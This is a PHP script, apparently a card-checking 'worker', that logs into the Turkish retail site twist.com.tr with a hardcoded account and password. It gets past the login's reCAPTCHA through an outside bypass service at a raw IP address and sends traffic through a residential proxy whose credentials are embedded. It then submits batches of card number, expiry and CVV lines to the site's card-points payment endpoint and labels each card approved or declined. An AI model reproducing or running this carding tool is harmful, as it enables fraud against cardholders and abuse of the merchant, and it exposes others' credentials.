<?php
// WORKER 2 - Twist.com.tr Puan Checker
// Account: begumtuz@gmail.com
// Proxy: Session 1

error_reporting(0);
set_time_limit(180);
header('Content-Type: application/json; charset=utf-8');

class CookieJar {
    private $cookies = [];
    
    public function extractFromResponse($response) {
        if (preg_match_all('/^Set-Cookie:\s*([^;]+)/mi', $response, $matches)) {
            foreach ($matches[1] as $cookie) {
                $parts = explode('=', $cookie, 2);
                if (count($parts) == 2) {
                    $this->cookies[trim($parts[0])] = trim($parts[1]);
                }
            }
        }
    }
    
    public function getCookieHeader() {
        $cookieString = [];
        foreach ($this->cookies as $name => $value) {
            $cookieString[] = "{$name}={$value}";
        }
        return implode('; ', $cookieString);
    }
}

function curlRequest($url, $method = 'GET', $headers = [], $postData = null, &$cookieJar = null, $proxy = null, $debug = false) {
    $ch = curl_init();
    
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 45);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
    curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
    
    if ($proxy) {
        curl_setopt($ch, CURLOPT_PROXY, $proxy['host']);
        curl_setopt($ch, CURLOPT_PROXYUSERPWD, $proxy['auth']);
        curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_HTTP);
        
        if ($debug) {
            echo "    [CURL] Using proxy: " . $proxy['host'] . "\n";
        }
    }
    
    if ($method == 'POST') {
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
    }
    
    if ($cookieJar && $cookieJar->getCookieHeader()) {
        $headers[] = 'Cookie: ' . $cookieJar->getCookieHeader();
    }
    
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
    $curl_error = curl_error($ch);
    $curl_errno = curl_errno($ch);
    
    if ($debug && ($curl_errno || $http_code == 0)) {
        echo "    [CURL ERROR] Code: " . $curl_errno . " | Message: " . $curl_error . "\n";
    }
    
    curl_close($ch);
    
    $headers_response = substr($response, 0, $header_size);
    $body = substr($response, $header_size);
    
    if ($cookieJar) {
        $cookieJar->extractFromResponse($headers_response);
    }
    
    return [
        'code' => $http_code,
        'body' => $body
    ];
}

function loginToTwist($proxy, $debug = false) {
    $cookieJar = new CookieJar();
    
    if ($debug) echo "[STEP 1] Visiting login page...\n";
    
    // Step 1: Visit login page
    $resp1 = curlRequest(
        "https://www.twist.com.tr/giris?returnUrl=/login",
        'GET',
        ['user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'],
        null,
        $cookieJar,
        $proxy,
        $debug
    );
    
    if ($debug) {
        echo "  Response code: " . $resp1['code'] . "\n";
        echo "  Cookies set: " . count($cookieJar->getCookieHeader() ? explode(';', $cookieJar->getCookieHeader()) : []) . "\n";
    }
    
    if ($resp1['code'] != 200) {
        if ($debug) echo "  ❌ FAILED: HTTP " . $resp1['code'] . "\n";
        return null;
    }
    if ($debug) echo "  ✅ Success\n\n";
    
    if ($debug) echo "[STEP 2] Getting AntiForgeryToken...\n";
    
    // Step 2: Get AntiForgeryToken
    $resp2 = curlRequest(
        "https://www.twist.com.tr/tr/Page/Get/GetAntiForgeryToken",
        'GET',
        ['user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'],
        null,
        $cookieJar,
        $proxy,
        $debug
    );
    
    if ($debug) {
        echo "  Response code: " . $resp2['code'] . "\n";
        echo "  Body length: " . strlen($resp2['body']) . " bytes\n";
    }
    
    if ($resp2['code'] != 200) {
        if ($debug) echo "  ❌ FAILED: HTTP " . $resp2['code'] . "\n";
        return null;
    }
    
    if (!preg_match('/name="__RequestVerificationToken"[^>]+value="([^"]+)"/', $resp2['body'], $matches)) {
        if ($debug) {
            echo "  ❌ FAILED: Token not found in response\n";
            echo "  Response body: " . htmlspecialchars(substr($resp2['body'], 0, 500)) . "...\n";
        }
        return null;
    }
    $verificationToken = $matches[1];
    
    if ($debug) {
        echo "  Token: " . substr($verificationToken, 0, 20) . "...\n";
        echo "  ✅ Success\n\n";
    }
    
    if ($debug) echo "[STEP 3] Getting ReCaptcha token...\n";
    
    // Step 3: Get ReCaptcha token
    $anchor_url = "https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LdkpgUqAAAAACWm1qC_-kRBKlgWbRe_dMJBw2hu&co=aHR0cHM6Ly93d3cudHdpc3QuY29tLnRyOjQ0Mw..&hl=tr&v=TkacYOdEJbdB_JjX802TMer9&size=invisible&cb=sjuqj6uduxpr";
    $bypass_url = "http://193.142.147.218/yenicheckbotaerithia/recpv2apiler/bypass.php?anchor=" . urlencode($anchor_url);
    
    if ($debug) echo "  Calling bypass API...\n";
    
    $tempJar = null;
    $resp3 = curlRequest($bypass_url, 'GET', [], null, $tempJar, $proxy, $debug);
    
    if ($debug) {
        echo "  Response code: " . $resp3['code'] . "\n";
        echo "  Token length: " . strlen($resp3['body']) . " chars\n";
    }
    
    if ($resp3['code'] != 200 || empty($resp3['body'])) {
        if ($debug) {
            echo "  ❌ FAILED: " . ($resp3['code'] != 200 ? "HTTP " . $resp3['code'] : "Empty response") . "\n";
            echo "  Response: " . htmlspecialchars(substr($resp3['body'], 0, 200)) . "\n";
        }
        return null;
    }
    $recaptcha_token = trim($resp3['body']);
    
    if ($debug) {
        echo "  Token: " . substr($recaptcha_token, 0, 30) . "...\n";
        echo "  ✅ Success\n\n";
    }
    
    if ($debug) echo "[STEP 4] Attempting login...\n";
    if ($debug) echo "  Account: begumtuz@gmail.com\n";
    
    // Step 4: Login
    $boundary = "----WebKitFormBoundary" . bin2hex(random_bytes(16));
    
    $login_body = "--{$boundary}\r\n";
    $login_body .= "Content-Disposition: form-data; name=\"__RequestVerificationToken\"\r\n\r\n{$verificationToken}\r\n";
    $login_body .= "--{$boundary}\r\n";
    $login_body .= "Content-Disposition: form-data; name=\"g-recaptcha-response\"\r\n\r\n{$recaptcha_token}\r\n";
    $login_body .= "--{$boundary}\r\n";
    $login_body .= "Content-Disposition: form-data; name=\"UserNameOrEmail\"\r\n\r\nbegumtuz@gmail.com\r\n";
    $login_body .= "--{$boundary}\r\n";
    $login_body .= "Content-Disposition: form-data; name=\"Password\"\r\n\r\n123456\r\n";
    $login_body .= "--{$boundary}--\r\n";
    
    $resp4 = curlRequest(
        "https://www.twist.com.tr/tr/LogOn",
        'POST',
        [
            'content-type: multipart/form-data; boundary=' . $boundary,
            'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        ],
        $login_body,
        $cookieJar,
        $proxy,
        $debug
    );
    
    if ($debug) {
        echo "  Response code: " . $resp4['code'] . "\n";
        echo "  Body length: " . strlen($resp4['body']) . " bytes\n";
    }
    
    if ($resp4['code'] != 200) {
        if ($debug) echo "  ❌ FAILED: HTTP " . $resp4['code'] . "\n";
        return null;
    }
    
    $data = json_decode($resp4['body'], true);
    
    if ($debug) {
        echo "  JSON Response:\n";
        echo "  " . json_encode($data, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE) . "\n";
    }
    
    if (!isset($data['TempDataActionResult']['ValidationResult']['Success']) || 
        $data['TempDataActionResult']['ValidationResult']['Success'] !== true) {
        if ($debug) {
            echo "  ❌ FAILED: Login validation failed\n";
            if (isset($data['TempDataActionResult']['ValidationResult']['Messages'])) {
                echo "  Messages: " . json_encode($data['TempDataActionResult']['ValidationResult']['Messages']) . "\n";
            }
        }
        return null;
    }
    
    if ($debug) echo "  ✅ Login successful!\n\n";
    
    return $cookieJar;
}

function checkCard($cookieJar, $card, $month, $year, $cvv, $proxy) {
    $userId = '29733'; // begumtuz@gmail.com
    
    $payload = json_encode([
        "CreditCard" => [
            "Number" => $card,
            "Owner" => "test user",
            "ExpireYear" => (int)$year,
            "ExpireMonth" => (int)$month,
            "CVC" => $cvv
        ],
        "Money" => [
            "Amount" => 2688.95,
            "CurrencyId" => 1
        ],
        "IpAddress" => "127.0.0.1",
        "PaymentProvider" => "CreditCard"
    ]);
    
    $resp = curlRequest(
        "https://www.twist.com.tr/tr/Api/Version/1.0/PaymentApi/GetCreditCardPoint",
        'POST',
        [
            'accept: */*',
            'content-type: application/json',
            'userid: ' . $userId,
            'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        ],
        $payload,
        $cookieJar,
        $proxy
    );
    
    if ($resp['code'] == 418 || $resp['code'] == 429) {
        return ['status' => 'ERROR❌', 'message' => 'Proxy blocked'];
    }
    
    if ($resp['code'] != 200) {
        return ['status' => 'ERROR❌', 'message' => 'HTTP ' . $resp['code']];
    }
    
    $data = json_decode($resp['body'], true);
    
    if (isset($data['IsSuccess']) && $data['IsSuccess'] === true && isset($data['Point']['Amount'])) {
        $points = $data['Point']['Amount'];
        return ['status' => 'APPROVED✅', 'message' => ((int)$points) . '₺'];
    } else {
        return ['status' => 'DECLINED❌', 'message' => '0₺'];
    }
}

// Main execution
$debug = isset($_GET['debug']) ? true : false;
$cards_param = isset($_POST['cards']) ? $_POST['cards'] : (isset($_GET['cards']) ? $_GET['cards'] : '');

if ($debug) {
    error_reporting(E_ALL);
    ini_set('display_errors', 1);
    header('Content-Type: text/html; charset=utf-8');
    echo "<pre>";
    echo "=== WORKER 2 DEBUG MODE ===\n";
    echo "Cards param: " . htmlspecialchars($cards_param) . "\n";
}

if (empty($cards_param)) {
    if ($debug) {
        echo "ERROR: No cards provided\n";
        exit;
    }
    echo json_encode(['error' => 'No cards provided'], JSON_UNESCAPED_UNICODE);
    exit;
}

// Support both comma and newline separated cards
$cards_param = trim($cards_param);
if (strpos($cards_param, "\n") !== false) {
    $cards = explode("\n", $cards_param);
} else {
    $cards = explode(",", $cards_param);
}

$proxy = [
    'host' => 'rp.scrapegw.com:6060',
    'auth' => 'ccb7t99f1xa6q6v-country-tr-session-1:e88zmabjie6wuek'  // Session 1 for Worker 2
];

if ($debug) {
    echo "Total cards: " . count($cards) . "\n";
    echo "Proxy: " . $proxy['host'] . "\n";
    echo "Session: country-tr-session-1\n\n";
}

// Login once
$cookieJar = loginToTwist($proxy, $debug);
if (!$cookieJar) {
    if ($debug) {
        echo "\n❌❌❌ OVERALL LOGIN FAILED ❌❌❌\n";
        exit;
    }
    echo json_encode(['error' => 'Login failed'], JSON_UNESCAPED_UNICODE);
    exit;
}

if ($debug) {
    echo "✅ Login successful!\n";
    echo "UserID: 29733\n\n";
}

$results = [];

foreach ($cards as $card_line) {
    $card_line = trim($card_line);
    if (empty($card_line)) continue;
    
    if ($debug) {
        echo "Processing card: " . htmlspecialchars($card_line) . "\n";
    }
    
    $parts = explode('|', $card_line);
    if (count($parts) != 4) {
        $results[] = [
            'card' => $card_line,
            'status' => 'ERROR❌',
            'message' => 'Invalid format'
        ];
        if ($debug) {
            echo "  ❌ Invalid format (parts: " . count($parts) . ")\n\n";
        }
        continue;
    }
    
    $card = str_replace(' ', '', $parts[0]);
    $month = str_pad($parts[1], 2, '0', STR_PAD_LEFT);
    $year = substr($parts[2], -2);
    $cvv = $parts[3];
    
    if (strlen($card) != 16) {
        $results[] = [
            'card' => $card_line,
            'status' => 'ERROR❌',
            'message' => 'Invalid card'
        ];
        continue;
    }
    
    // Check with retry
    $max_retries = 2;
    $result = null;
    
    for ($retry = 0; $retry <= $max_retries; $retry++) {
        if ($debug && $retry > 0) {
            echo "  Retry #" . $retry . "\n";
        }
        
        $result = checkCard($cookieJar, $card, $month, $year, $cvv, $proxy);
        
        if ($debug) {
            echo "  Result: " . $result['status'] . " | " . ($result['message'] ?? 'N/A') . "\n";
        }
        
        if ($result['status'] !== 'ERROR❌' || $retry >= $max_retries) {
            break;
        }
        
        sleep(1);
    }
    
    // Add card info to result
    $result['card'] = $card_line;
    
    $results[] = $result;
    if ($debug) {
        echo "\n";
    }
    
    usleep(300000); // 0.3s delay between cards
}

if ($debug) {
    echo "=== PROCESSING COMPLETE ===\n";
    echo "Total results: " . count($results) . "\n";
    echo "\nJSON Output:\n";
    echo json_encode(['results' => $results], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT);
    echo "\n</pre>";
} else {
    echo json_encode(['results' => $results], JSON_UNESCAPED_UNICODE);
}
?>
